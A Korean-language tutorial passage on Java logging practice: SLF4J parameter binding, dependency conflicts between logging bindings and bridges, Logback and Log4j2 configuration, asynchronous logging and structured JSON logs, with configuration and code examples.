log.debug 한 줄이 실제로 하는 일 — 레벨이 꺼져 있을 때가 갈림길입니다 ① {} 바인딩 log.debug("id={}", id) DEBUG 켜짐? 예 포맷 · 치환 {} 자리에 값을 끼움 Appender 콘솔 · 파일로 출력 아니오 그대로 return 문자열 조립 0회 · 객체 생성 0개 ② 문자열 결합 log.debug("id=" + id) StringBuilder 조립 레벨과 무관하게 항상 실행 레벨 꺼짐 → 버림 만든 문자열은 곧바로 GC 대상 차이는 "느리다"가 아니라 "안 해도 될 일을 한다"입니다 — 초당 수만 번이면 보입니다 마름모는 판단 지점 — 여기서 갈라지는 두 길의 비용이 완전히 다릅니다
결정 흐름도 — 레벨 검사가 먼저냐 나중이냐가 전부입니다. {} 는 검사를 앞으로 당깁니다.

기본기 다섯 줄

private static final Logger log =
        LoggerFactory.getLogger(OrderService.class);
// static final — 클래스마다 하나. Lombok 의 @Slf4j 가 이 줄을 만들어 줍니다.

// ① 파라미터 바인딩 — 인자 개수만큼 {}
log.info("주문 생성 orderId={} userId={} amount={}", orderId, userId, amount);

// ② 예외는 '마지막 인자'로 — {} 를 하나 더 쓰지 않습니다 ★
log.error("결제 실패 orderId={}", orderId, e);
//                              ↑ {} 는 하나, 인자는 둘 — 마지막은 스택트레이스로

// ③ 중괄호를 문자로 쓰고 싶으면 백슬래시로 막습니다
log.info("literal \\{} 그대로", ignored);

// ④ 배열은 알아서 펼쳐집니다
log.debug("ids={}", (Object) new int[]{1, 2, 3});

// ⑤ 레벨은 다섯 개. 운영 기본은 INFO
log.trace(...); log.debug(...); log.info(...); log.warn(...); log.error(...);
레벨을 고르는 한 문장 기준 — ERROR: 사람이 지금 봐야 한다 · WARN: 지금은 아니지만 쌓이면 문제 · INFO: 나중에 “무슨 일이 있었나”를 재구성할 재료 · DEBUG: 개발자가 원인을 좁힐 때 켜는 것 · TRACE: 한 줄 한 줄 따라갈 때. INFO 에 “여기 지나감”을 찍기 시작하면 INFO 가 죽습니다.

isDebugEnabled 는 언제 쓰나

// ❌ 필요 없는 경우 — {} 가 이미 막아 줍니다
if (log.isDebugEnabled()) {
    log.debug("id={}", id);        // id 는 그냥 참조 전달. 비용 0
}

// ✅ 필요한 경우 ① — 인자를 만드는 것 자체가 비쌀 때
if (log.isDebugEnabled()) {
    log.debug("cart={}", cart.toDetailedString());   // ← 이 호출이 비쌉니다
}

// ✅ 필요한 경우 ② — 로그용 데이터를 모으는 반복문
if (log.isTraceEnabled()) {
    for (Item i : items) log.trace("item {}", i);    // 루프 자체를 건너뜀
}

// ✅ SLF4J 2.0 fluent API — 람다로 미루면 if 없이도 됩니다
log.atDebug()
   .addArgument(() -> cart.toDetailedString())   // 출력할 때만 호출
   .log("cart={}");

// ✅ 또는 Supplier 를 직접 넘기는 형태
log.atInfo().setMessage("무거운 계산 {}")
   .addArgument(() -> heavy())
   .addKeyValue("orderId", orderId)              // 구조적 로깅과도 이어집니다
   .log();
가장 흔한 낭비 — toString() 이 무거운 객체를 log.debug("obj={}", bigObject) 로 넘기는 것. 레벨이 꺼져 있으면 toString() 은 호출되지 않으므로 이건 안전합니다. 문제는 bigObject.toDetailedString() 처럼 내가 직접 부른 메서드입니다 — 이건 무조건 실행됩니다.

실무에선 이렇게 — 로그 문장 자체를 설계합니다 🔴 실무

나중에 검색할 수 있게 쓰기

❌ 사람만 읽는 문장
log.info("주문 " + orderId + "번이 " +
    "정상적으로 처리되었습니다");
// 검색: "정상적으로 처리" ... 몇 건인지 셀 수 없음
// 값이 문장에 녹아 있어 필드로 뽑히지 않음
✅ 기계도 읽는 문장
log.info("order.completed orderId={} amount={} ms={}",
        orderId, amount, elapsed);
// 검색: order.completed  → 건수·금액 합계·지연 분포
// 앞머리를 '이벤트 이름'으로 고정하는 것이 핵심
규칙 세 개면 충분합니다 — ① 맨 앞은 고정된 이벤트 이름(order.completed), ② 값은 key=value 로, ③ 문장은 짧게. 이렇게 쓰면 나중에 JSON 로깅(LOG 07)으로 갈 때 문장을 다시 안 써도 됩니다.

하지 말아야 할 것들

// ① 개인정보·비밀을 그대로 찍기 — 로그는 오래 남고 널리 복제됩니다
log.info("login user={} password={}", id, rawPassword);   // ❌ 절대
log.info("card={}", cardNumber);                          // ❌ 마스킹 필수
log.info("login user={}", maskEmail(email));              // ✅

// ② 루프 안에서 한 건마다 INFO
for (Order o : orders) log.info("처리 {}", o.getId());    // ❌ 10만 줄
log.info("주문 배치 처리 완료 count={}", orders.size());   // ✅ 요약 한 줄

// ③ 예외를 삼키고 메시지만 남기기
catch (IOException e) { log.error("실패: " + e.getMessage()); }  // ❌
catch (IOException e) { log.error("파일 읽기 실패 path={}", path, e); } // ✅

// ④ 로그 안에서 예외 던지기 — 로깅이 장애 원인이 됩니다
log.info("user={}", user.getName());   // user 가 null 이면 NPE ★
log.info("user={}", user);             // ✅ null 이면 "null" 이 찍힘

// ⑤ 문자열 포맷을 직접 하기
log.info(String.format("id=%d", id));  // ❌ 레벨과 무관하게 항상 포맷
④번이 실제로 장애를 냅니다 — 로그 한 줄 때문에 NullPointerException 이 나면 정상 로직이 죽습니다. SLF4J 는 인자가 null 이면 알아서 "null" 로 찍으므로, 객체를 통째로 넘기고 toString() 에 맡기는 편이 안전합니다.
LOG 04

의존성 지옥 풀기 — 바인딩 하나 · 브리지 여럿

로깅에서 가장 자주 나는 사고는 코드 문제가 아니라 클래스패스 문제입니다. "로그가 안 나온다" · "두 번 찍힌다" · "라이브러리 로그만 안 보인다" — 전부 이 절의 이야기입니다.

바인딩은 하나, 브리지는 여럿 — 로그가 사라지거나 겹치는 자리 내 코드 라이브러리 A (JCL) 라이브러리 B (L4J2) jcl-over-slf4j log4j-to-slf4j SLF4J API 인터페이스만 logback-classic 바인딩 — 이것 하나만 log4j-slf4j2-impl 같이 넣으면 충돌 바인딩이 0개면 로그가 통째로 사라지고, 2개면 어느 쪽이 이겼는지 알 수 없습니다 브리지(over/to)는 여러 개 넣어도 됩니다 — 남의 로그를 SLF4J 로 끌어오는 어댑터입니다
의존 그래프 — 들어오는 화살표는 여럿, 나가는 화살표는 하나. 이 모양이 깨지면 로그가 이상해집니다.

증상으로 원인 찾기

증상원인
로그가 하나도 안 나옴바인딩 0개 → NOP
같은 줄이 두 번appender 중복 · additivity
내 로그만 나옴브리지 없음 (JCL·JUL 유실)
설정 파일이 안 먹음다른 구현체가 이김
StackOverflowError브리지 순환 ★
기동 로그만 안 나옴JUL 브리지 초기화 시점
SLF4J(W): Class path contains multiple SLF4J providers.
SLF4J(W): Found provider [ch.qos.logback.classic.spi.LogbackServiceProvider]
SLF4J(W): Found provider [org.apache.logging.slf4j.SLF4JServiceProvider]
SLF4J(W): Actual provider is of type [...LogbackServiceProvider]

  → 경고일 뿐 실행은 됩니다. 그래서 더 위험합니다.
    개발 PC 와 운영 서버의 클래스패스 순서가 다르면
    '어느 쪽이 이기는지'가 환경마다 달라집니다. ★
NOP 이 가장 무섭습니다 — Defaulting to no-operation (NOP) logger implementation 은 예외가 아니라 경고입니다. 애플리케이션은 멀쩡히 뜨고, 로그만 조용히 사라집니다. 장애 나서야 알게 됩니다. 기동 로그의 SLF4J 줄을 CI 에서 검사하는 팀도 있습니다.

브리지 네 개 — 이름 규칙만 알면 됩니다

아티팩트하는 일
jul-to-slf4jjava.util.logging → SLF4J
jcl-over-slf4jcommons-logging → SLF4J
log4j-over-slf4jLog4j 1.x → SLF4J
log4j-to-slf4jLog4j2 API → SLF4J
이름 읽는 법
  · "A-over-B"  = A 의 API 를 흉내 내는 가짜 jar (원본은 반드시 제거)
  · "A-to-B"    = A 의 정식 어댑터 (원본 API 는 그대로 둠)
  · "B-A-impl"  = B(파사드)를 A(구현)로 잇는 바인딩

절대 같이 넣으면 안 되는 짝 ★
  log4j-over-slf4j  +  slf4j-log4j12    → 무한 재귀 (StackOverflowError)
  jcl-over-slf4j    +  slf4j-jcl        → 무한 재귀
  log4j-to-slf4j    +  log4j-slf4j2-impl → 무한 재귀

  이유: A→B 로 보내는 다리와 B→A 로 보내는 다리를
        동시에 놓으면 로그 한 줄이 영원히 왕복합니다.
Spring Boot 는 이걸 이미 해 뒀습니다 — spring-boot-starter-logging 안에 logback-classic + log4j-to-slf4j + jul-to-slf4j 가 들어 있습니다. 그래서 부트 프로젝트는 아무것도 안 해도 브리지가 다 깔려 있습니다.

실무에선 이렇게 — exclude 를 실제로 쓰는 법 🔴 실무

Gradle — 무엇이 어디서 들어왔는지부터

# ① 로깅 관련 의존성만 추려 보기
./gradlew dependencies --configuration runtimeClasspath | grep -i -E "slf4j|logback|log4j|commons-logging|tinylog"

# ② '왜 들어왔는지' 경로 추적 — 이게 진짜 무기입니다 ★
./gradlew dependencyInsight --dependency log4j-core --configuration runtimeClasspath

# 출력 예
#  org.apache.logging.log4j:log4j-core:2.20.0
#  \--- com.example:legacy-client:3.1
#       \--- runtimeClasspath

# ③ 실제 실행 시점의 클래스패스에서 중복 확인
#    (부트 fat jar 는 라이브러리가 BOOT-INF/lib 안의 jar 로 들어 있어 jar 이름으로 봅니다)
jar tf build/libs/app.jar | grep -i -E "BOOT-INF/lib/(logback-classic|log4j-slf4j2?-impl|slf4j-(simple|reload4j|jdk14|log4j12))"
// build.gradle.kts

// ── A. 프로젝트 전체에서 특정 모듈을 빼기 (가장 확실)
configurations.all {
    exclude(group = "commons-logging", module = "commons-logging")
    exclude(group = "log4j",           module = "log4j")           // 1.x
    exclude(group = "org.slf4j",       module = "slf4j-log4j12")
}

// ── B. 특정 의존성에서만 빼기
implementation("com.example:legacy-client:3.1") {
    exclude(group = "org.apache.logging.log4j", module = "log4j-core")
}

// ── C. 빠진 자리를 브리지로 메우기
implementation("org.slf4j:jcl-over-slf4j")
implementation("org.slf4j:log4j-over-slf4j")

// ── D. 중복이 다시 들어오면 빌드를 깨뜨리기 ★
configurations.all {
    resolutionStrategy {
        componentSelection {
            all {
                if (candidate.module == "slf4j-log4j12") reject("바인딩 중복 금지")
            }
        }
    }
}

Maven · Log4j2 로 갈아타기

<!-- Maven — 왜 들어왔는지 보기 -->
<!-- mvn dependency:tree -Dincludes=:::*  -->
<!-- mvn dependency:tree -Dincludes=org.slf4j,ch.qos.logback,org.apache.logging.log4j -->

<dependency>
  <groupId>com.example</groupId>
  <artifactId>legacy-client</artifactId>
  <version>3.1</version>
  <exclusions>
    <exclusion>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
    </exclusion>
  </exclusions>
</dependency>

<!-- Spring Boot 에서 Logback → Log4j2 로 교체 -->
<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-web</artifactId>
  <exclusions>
    <exclusion>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-logging</artifactId>
    </exclusion>
  </exclusions>
</dependency>
<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
Gradle 에서 흔한 실수 — spring-boot-starter-logging 을 한 군데서만 exclude 하는 것. 다른 starter 가 또 끌고 옵니다. configurations.all { exclude(...) } 로 전체에서 빼야 합니다. 그리고 exclude 한 뒤에는 기동 로그에 SLF4J 경고가 없는지 반드시 확인하세요.
순서대로 하면 대부분 풀립니다 — ① dependencyInsight / dependency:tree 로 지금 뭐가 들어와 있는지 본다 → ② 바인딩(provider)이 정확히 하나인지 확인한다 → ③ 남은 옛 API(commons-logging · log4j 1.x · JUL)는 -over- jar 로 갈아 끼운다 → ④ 기동 로그의 SLF4J 경고가 0줄인지 본다 → ⑤ 라이브러리 로그(예: org.hibernate)가 실제로 찍히는지 눈으로 확인한다.
LOG 05

Logback 설정 — appender · 롤링 · 프로파일

Spring Boot 는 application.yml 만으로도 꽤 갑니다. 그러다 어느 순간 패턴을 바꾸고 싶고 · 파일을 나누고 싶고 · 프로파일마다 다르게 하고 싶어집니다. 그때 필요한 것이 logback-spring.xml 한 장입니다.

Logback 한 줄이 파일이 되기까지 — 그리고 롤링이 일어나는 자리 Logger com.myapp · DEBUG 레벨 필터 INFO 이상만 통과 Appender Console · RollingFile Encoder %d [%thread] %-5level app.log 지금 쓰는 파일 롤오버 롤링된 파일 app-2026-09-01.0.log.gz 보관 삭제 maxHistory · totalSizeCap 롤오버 조건과 보관 정책은 다른 설정입니다 — 언제 자르나 / 얼마나 남기나 디스크가 꽉 차면 애플리케이션이 멈춥니다 — totalSizeCap 은 선택이 아닙니다
원통이 저장소 — 파일은 계속 늘어납니다. 자르는 규칙과 지우는 규칙을 둘 다 정해야 끝납니다.

logback-spring.xml 한 장 (복붙용)

<!-- src/main/resources/logback-spring.xml -->
<configuration scan="true" scanPeriod="30 seconds">

  <!-- 부트가 만들어 둔 기본값을 그대로 가져다 씁니다 -->
  <include resource="org/springframework/boot/logging/logback/defaults.xml"/>

  <!-- application.yml 의 값을 XML 로 끌어오기 -->
  <springProperty scope="context" name="APP" source="spring.application.name"
                  defaultValue="app"/>   <!-- 없으면 파일명이 APP_IS_UNDEFINED.log -->

  <property name="PATTERN"
      value="%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} [%X{traceId:-}] - %msg%n"/>

  <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
    <encoder><pattern>${PATTERN}</pattern></encoder>
  </appender>

  <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
    <file>logs/${APP}.log</file>
    <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
      <fileNamePattern>logs/${APP}-%d{yyyy-MM-dd}.%i.log.gz</fileNamePattern>
      <maxFileSize>100MB</maxFileSize>      <!-- 이 크기를 넘으면 자름 -->
      <maxHistory>30</maxHistory>            <!-- 30일치만 -->
      <totalSizeCap>10GB</totalSizeCap>      <!-- 전체 상한 ★ -->
      <cleanHistoryOnStart>true</cleanHistoryOnStart>
    </rollingPolicy>
    <encoder><pattern>${PATTERN}</pattern></encoder>
  </appender>

  <!-- 프로파일마다 다르게 -->
  <springProfile name="local">
    <root level="DEBUG"><appender-ref ref="CONSOLE"/></root>
  </springProfile>
  <springProfile name="prod">
    <logger name="com.myapp" level="INFO"/>
    <root level="WARN">
      <appender-ref ref="CONSOLE"/>
      <appender-ref ref="FILE"/>
    </root>
  </springProfile>
</configuration>
파일 이름이 logback.xml 이면 안 됩니다 — <springProfile> · <springProperty> 는 Spring 이 로깅을 초기화할 때 처리하므로, Logback 이 먼저 읽어 버리는 logback.xml 에서는 동작하지 않습니다. Spring Boot 에서는 항상 logback-spring.xml.

XML 없이 application.yml 로만

logging:
  level:
    root: INFO
    com.myapp: DEBUG
    org.hibernate.SQL: DEBUG
    org.springframework.web: WARN

  file:
    name: logs/app.log          # 경로+이름 (path 와 동시에 쓰지 않습니다)

  logback:
    rollingpolicy:
      file-name-pattern: logs/app-%d{yyyy-MM-dd}.%i.log.gz
      max-file-size: 100MB
      max-history: 30
      total-size-cap: 10GB
      clean-history-on-start: true

  pattern:
    console: "%d{HH:mm:ss.SSS} %-5level %logger{20} - %msg%n"
    file: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} [%X{traceId:-}] - %msg%n"

  charset:
    file: UTF-8                 # 윈도우에서 한글 깨짐 방지 ★
패턴 조각뜻
%d{...}시각
%thread스레드 이름
%-5level레벨 (5칸 왼쪽 정렬)
%logger{36}클래스명 (36자로 축약)
%X{traceId:-}MDC 값 (없으면 빈칸)
%msg%n메시지 + 줄바꿈
%ex{short}스택트레이스 (짧게)
%L %M %C줄번호·메서드·클래스 — 매우 느림
어디까지 yml 로 되나 — 레벨 · 파일 이름 · 롤링 · 패턴 · 인코딩까지는 yml 로 끝납니다. appender 를 여러 개 만들고 로거마다 다르게 붙이는 순간 XML 이 필요합니다. 그 전까지는 XML 을 만들지 마세요 — 관리 대상만 늘어납니다.

실무에선 이렇게 — 설정이 안 먹을 때 🔴 실무

Logback 이 설정을 찾는 순서

① logback-test.xml   (테스트 클래스패스 — 있으면 이게 이깁니다) ★
② logback.xml
③ (Spring Boot) logback-spring.xml
④ 아무것도 없으면 → 콘솔에 DEBUG 로 전부 출력

흔한 함정
  · src/test/resources/logback-test.xml 을 넣어 두고 잊어버림
    → 테스트에서만 로그가 이상하게 나옴
  · 라이브러리 jar 안에 logback.xml 이 들어 있음
    → jar tf lib.jar | grep logback  로 확인
  · -Dlogback.configurationFile=/path/logback.xml 로 강제 지정 가능

설정이 안 먹으면 우선 이걸 켭니다
  <configuration debug="true">
    → 어떤 파일을 읽었고 appender 를 어떻게 만들었는지 전부 출력
# 실행 중에 어떤 설정 파일을 읽었는지 확인
java -Dlogback.debug=true -jar app.jar 2>&1 | head -40

# 지금 유효한 레벨을 코드로 확인
# (Actuator 가 있으면 LOG 09 의 엔드포인트가 더 편합니다)

appender 를 나누고 중복을 막기

<!-- 에러만 따로 파일로 빼기 -->
<appender name="ERROR_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
  <filter class="ch.qos.logback.classic.filter.LevelFilter">
    <level>ERROR</level>
    <onMatch>ACCEPT</onMatch>
    <onMismatch>DENY</onMismatch>
  </filter>
  <file>logs/error.log</file>
  <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
    <fileNamePattern>logs/error-%d{yyyy-MM-dd}.log.gz</fileNamePattern>
    <maxHistory>90</maxHistory>
  </rollingPolicy>
  <encoder><pattern>${PATTERN}</pattern></encoder>
</appender>

<!-- 감사 로그처럼 '한 로거를 통째로 다른 파일로' -->
<logger name="AUDIT" level="INFO" additivity="false">
  <!--       additivity="false" 가 없으면 root 로도 또 나갑니다 ★ -->
  <appender-ref ref="AUDIT_FILE"/>
</logger>

<!-- 시끄러운 라이브러리 조용히 시키기 -->
<logger name="org.apache.http" level="WARN"/>
<logger name="org.hibernate.type.descriptor.sql" level="WARN"/>
“로그가 두 번 찍혀요”의 99%가 additivity 입니다. Logback 의 로거는 부모에게도 전달합니다 — com.myapp.Order 로거에 appender 를 붙이면 그 appender + root 의 appender 양쪽으로 나갑니다. 따로 빼려면 additivity="false" 를 반드시 붙이세요.
LOG 06

Log4j2 와 비동기 로깅 — Disruptor 가 뭘 바꿨나

Logback 에도 AsyncAppender 가 있습니다. 그런데 Log4j2 의 AsyncLogger 는 다른 층에서, 다른 자료구조로 비동기를 합니다. 그 차이가 처리량 차이의 정체입니다.

로깅 방식별 상대 처리량 — 배수는 자릿수 수준의 근사입니다 동기 Console 기준 1배 동기 RollingFile 거의 같음 — 디스크가 결정 Logback Async 약 3배 — 큐 + 별도 스레드 Log4j2 AsyncLogger 약 8배 — 링버퍼 Log4j2 전면 비동기 약 10배 이상 0 3 6 9 12 배 막대는 0에서 시작합니다 — 축을 자르면 차이가 과장됩니다 내 환경 숫자는 JMH 나 Log4j2 성능 테스트로 직접 재세요
막대 — 동기끼리는 차이가 없습니다. 갈라지는 지점은 "누가 디스크를 기다리나"입니다.

AsyncAppender 와 AsyncLogger 는 다른 층입니다

Logback AsyncAppenderLog4j2 AsyncLogger
비동기 지점appender 앞logger 호출 직후
자료구조ArrayBlockingQueueLMAX Disruptor 링버퍼
락있음락 없음 (CAS)
포맷 시점큐에 넣기 전호출 스레드(기본) — formatMsgAsync 로 미룰 수 있음
가득 찼을 때버리거나 블록정책 선택 가능
설정XML 몇 줄의존성 + 설정
<!-- Logback — 이 정도로도 대부분 충분합니다 -->
<appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
  <queueSize>8192</queueSize>            <!-- 기본 256 은 너무 작습니다 -->
  <discardingThreshold>0</discardingThreshold>
  <!-- 기본값(큐 크기의 1/5)이면 남은 칸이 20% 아래로 떨어지는 순간 INFO 이하를 버립니다 ★ -->
  <neverBlock>false</neverBlock>
  <!-- true 면 큐가 꽉 찼을 때 로그를 버리고 애플리케이션은 안 멈춥니다 -->
  <includeCallerData>false</includeCallerData>
  <!-- true 로 하면 스택을 뒤져 줄번호를 붙입니다 — 10배 이상 느려집니다 -->
  <appender-ref ref="FILE"/>
</appender>
기본값이 조용히 로그를 버립니다 — Logback AsyncAppender 의 discardingThreshold 기본값은 큐 크기의 1/5(남은 칸 20%)입니다. 큐가 80% 차면 TRACE·DEBUG·INFO 를 말없이 버립니다. “부하가 몰릴 때만 로그가 사라진다”는 신고의 원인이 대개 이것입니다. 버리기 싫으면 0, 대신 큐가 꽉 차면 애플리케이션이 기다립니다.

Log4j2 전면 비동기 켜기

// build.gradle.kts
configurations.all {
    exclude(group = "org.springframework.boot", module = "spring-boot-starter-logging")
}
dependencies {
    implementation("org.springframework.boot:spring-boot-starter-log4j2")
    implementation("com.lmax:disruptor")   // 버전은 Log4j2 문서의 호환 표를 따르세요
}
# 방법 ① 전면 비동기 — 모든 로거가 비동기가 됩니다 (가장 빠름)
java -Dlog4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector \
     -jar app.jar

# 또는 src/main/resources/log4j2.component.properties 에
#   log4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector
#   log4j2.asyncLoggerRingBufferSize=262144
#   log4j2.asyncQueueFullPolicy=Discard        # 기본은 Default(블록)
#   log4j2.discardThreshold=INFO
<!-- 방법 ② 혼합 — 일부 로거만 비동기 -->
<Configuration status="WARN">
  <Appenders>
    <RollingFile name="FILE" fileName="logs/app.log"
                 filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
      <PatternLayout pattern="%d %-5level %logger{36} [%X{traceId}] - %msg%n"/>
      <Policies>
        <TimeBasedTriggeringPolicy/>
        <SizeBasedTriggeringPolicy size="100MB"/>
      </Policies>
      <DefaultRolloverStrategy max="30"/>
    </RollingFile>
  </Appenders>
  <Loggers>
    <!-- includeLocation 은 기본 false 로 두세요 (켜면 스택을 뒤집니다) -->
    <AsyncLogger name="com.myapp" level="INFO" includeLocation="false"
                 additivity="false">
      <AppenderRef ref="FILE"/>
    </AsyncLogger>
    <Root level="WARN"><AppenderRef ref="FILE"/></Root>
  </Loggers>
</Configuration>
비동기의 대가 — ① 순서가 살짝 흔들릴 수 있고, ② 프로세스가 죽으면 큐에 남은 로그가 사라지며(그래서 종료 훅이 중요), ③ 기본값으로는 메시지를 호출 스레드에서 미리 포맷하지만(log4j2.formatMsgAsync=false), 이걸 켜서 포맷을 소비 스레드로 미루면 가변 객체를 로그 인자로 넘겼을 때 값이 달라집니다. 그 옵션을 켤 거라면 불변 값이나 문자열을 넘기세요.

한 단계 더 — 가비지 프리 모드 🧬 전문가

로그 한 줄이 만드는 쓰레기

log.info("order={} amount={}", id, amount) 한 번에 만들어지는 객체(대략)

  · Object[] 가변인자 배열              1개
  · Long / BigDecimal 오토박싱          2개
  · 포맷된 String                       1개
  · byte[] (인코딩 결과)                1개
  · LogEvent · 타임스탬프 객체 등        수 개

초당 10만 줄 = 초당 수십만 개의 단명 객체
  → Young GC 빈도가 올라가고, p99 지연에 GC 멈춤이 섞입니다.

Log4j2 의 대응 (가비지 프리 모드)
  · ThreadLocal 로 버퍼를 재사용   log4j2.enableThreadlocals=true
  · 직접 인코딩(중간 String 생략)  log4j2.enableDirectEncoders=true
  · 대부분의 Layout·Appender 가 이 모드를 지원합니다

  주의: 웹 애플리케이션(WAR)에서는 ThreadLocal 이 누수 위험이라
        기본으로 꺼집니다. 실행형 jar 에서만 켜세요.
여기까지 필요한 경우는 드뭅니다 — 초당 수십만 줄, p99 를 밀리초 단위로 관리하는 시스템에서만 의미가 있습니다. 그 전에는 로그를 덜 찍는 것이 훨씬 큰 효과를 냅니다(LOG 10).

직접 재는 법

// JMH 로 로깅 비용만 떼어 재기
@BenchmarkMode(Mode.Throughput)
@OutputTimeUnit(TimeUnit.SECONDS)
@State(Scope.Benchmark)
public class LogBench {
    static final Logger log = LoggerFactory.getLogger(LogBench.class);
    long id = 1042L;

    @Benchmark public void bound()  { log.info("order={}", id); }
    @Benchmark public void concat() { log.info("order=" + id); }
    @Benchmark public void off()    { log.debug("order={}", id); }  // 꺼진 레벨
}

// 실행
//   ./gradlew jmh
// 보는 것
//   · ops/s 그 자체보다 '방식 사이의 배수'
//   · GC 통계: -prof gc  →  alloc rate 가 확 줄어드는지
# 운영에서 로깅이 지연에 잡히는지 보는 가장 싼 방법
# ① 로그 레벨을 WARN 으로 내리고 p99 를 비교
# ② 비동기로 바꾸고 다시 비교
# ③ 두 번 다 안 변하면 병목은 로깅이 아닙니다 ★

# 스레드 덤프에서 로깅 락 대기 찾기
jcmd <pid> Thread.print | grep -A 5 -i "logback\|log4j" | head -40
순서를 지키세요 — “느릴 것 같아서” 비동기부터 켜면 로그 유실이라는 새 문제만 얻습니다. 재고 → 레벨을 조정하고 → 그래도 남으면 비동기. 대부분의 팀은 두 번째 단계에서 끝납니다.
LOG 07

구조적 로깅 — 문장 대신 필드로 찍기

로그를 사람이 grep 하던 시대에는 문장이 좋았습니다. 수집기에 넣고 검색·집계하는 시대에는 필드가 좋습니다. 바꾸는 데 필요한 것은 인코더 하나와 필드 이름 규약입니다.

구조적 로깅 — 한 줄이 문장이 아니라 필드 묶음이 됩니다 앱 log.info(...) JSON 인코더 @timestamp · level app.json.log 한 줄 = 한 이벤트 수집기 Fluent Bit · Filebeat 로그 수집 백엔드 Elasticsearch · Loki · Datadog Kibana · Grafana 필드로 검색 · 집계 문장을 파싱해서 필드를 만들지 말고, 처음부터 필드로 찍습니다 필드 이름은 팀 전체가 같아야 검색이 됩니다 — ECS 같은 규약을 빌리세요
구름이 우리 손 밖의 경계 — 거기서부터는 필드 이름이 계약입니다. 이름을 바꾸면 대시보드가 깨집니다.

Logback + JSON 인코더

// build.gradle.kts — 둘 중 하나를 고릅니다
implementation("net.logstash.logback:logstash-logback-encoder:8.1")  // 자유로운 필드
implementation("co.elastic.logging:logback-ecs-encoder:1.6.0")       // ECS 규약 고정
// 버전은 mvnrepository 에서 최신 안정을 확인하세요
<!-- ① logstash-logback-encoder -->
<appender name="JSON" class="ch.qos.logback.core.rolling.RollingFileAppender">
  <file>logs/app.json.log</file>
  <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
    <fileNamePattern>logs/app-%d{yyyy-MM-dd}.%i.json.log.gz</fileNamePattern>
    <maxFileSize>100MB</maxFileSize>
    <totalSizeCap>10GB</totalSizeCap>
  </rollingPolicy>
  <encoder class="net.logstash.logback.encoder.LogstashEncoder">
    <includeMdcKeyName>traceId</includeMdcKeyName>
    <includeMdcKeyName>userId</includeMdcKeyName>
    <!-- MDC 키를 ECS 식 필드 이름으로 바꿔 내보냅니다 (아래 출력·검색 예와 맞춤) -->
    <mdcKeyFieldName>traceId=trace.id</mdcKeyFieldName>
    <mdcKeyFieldName>userId=user.id</mdcKeyFieldName>
    <customFields>{"service":"order-api","env":"prod"}</customFields>
    <fieldNames>
      <timestamp>@timestamp</timestamp>
      <level>log.level</level>
      <logger>log.logger</logger>
      <thread>process.thread.name</thread>
    </fieldNames>
    <throwableConverter class="net.logstash.logback.stacktrace.ShortenedThrowableConverter">
      <maxDepthPerThrowable>30</maxDepthPerThrowable>
      <maxLength>4096</maxLength>
      <shortenedClassNameLength>40</shortenedClassNameLength>
    </throwableConverter>
  </encoder>
</appender>

<!-- ② ECS 규약을 그대로 쓰고 싶으면 -->
<encoder class="co.elastic.logging.logback.EcsEncoder">
  <serviceName>order-api</serviceName>
  <serviceVersion>1.4.2</serviceVersion>
  <serviceEnvironment>prod</serviceEnvironment>
</encoder>
Spring Boot 3.4 부터는 의존성 없이도 됩니다 — logging.structured.format.console=ecs (또는 logstash·gelf) 한 줄로 부트가 직접 JSON 을 찍습니다. 간단한 서비스라면 인코더 라이브러리를 넣지 않아도 됩니다.

코드에서 필드를 붙이는 세 가지 방법

import static net.logstash.logback.argument.StructuredArguments.*;

// ① kv — 메시지에도 보이고 JSON 필드도 됩니다 (가장 무난)
log.info("order.completed {} {}", kv("orderId", id), kv("amount", amount));
// 텍스트:  order.completed orderId=1042 amount=32000
// JSON:    {"message":"order.completed ...","orderId":1042,"amount":32000}

// ② value — 메시지에는 값만, JSON 에는 필드로
log.info("order.completed {}", value("orderId", id));

// ③ SLF4J 2.0 표준 fluent API — 라이브러리 의존이 없습니다 ★
log.atInfo()
   .setMessage("order.completed")
   .addKeyValue("orderId", id)
   .addKeyValue("amount", amount)
   .addKeyValue("elapsedMs", elapsed)
   .log();

// MDC 에 넣은 값은 자동으로 전부 필드가 됩니다 (LOG 08)
MDC.put("traceId", traceId);
log.info("order.completed");   // JSON 에 traceId 가 자동 포함
{
  "@timestamp": "2026-09-01T10:22:41.108+09:00",
  "log.level": "INFO",
  "log.logger": "com.myapp.order.OrderService",
  "service": "order-api",
  "env": "prod",
  "trace.id": "3f9a1c0b7e2d4a55",
  "user.id": "u-88213",
  "message": "order.completed",
  "orderId": 1042,
  "amount": 32000,
  "elapsedMs": 87,
  "process.thread.name": "http-nio-8080-exec-3"
}

실무에선 이렇게 — 필드 설계 규칙 🔴 실무

필드 다섯 묶음이면 충분합니다

묶음필드누가 넣나
시각·레벨@timestamp log.level인코더
어디service.name host log.logger설정
누가·어떤 요청trace.id user.idMDC
무슨 일event.action + 도메인 값코드
실패error.type error.stack_trace인코더
이름 규칙 세 개
  ① 소문자 + 점(.) 계층      user.id, http.response.status_code
  ② 같은 뜻은 같은 이름       userId / user_id / uid 를 섞지 않기
  ③ 값의 타입을 고정          orderId 는 항상 숫자, 항상 문자열 중 하나

바꿀 때는 '한동안 둘 다' 를 찍습니다
  · 새 필드를 추가 → 대시보드를 옮김 → 옛 필드를 제거
  · 이름을 바로 바꾸면 그날의 대시보드가 통째로 빕니다
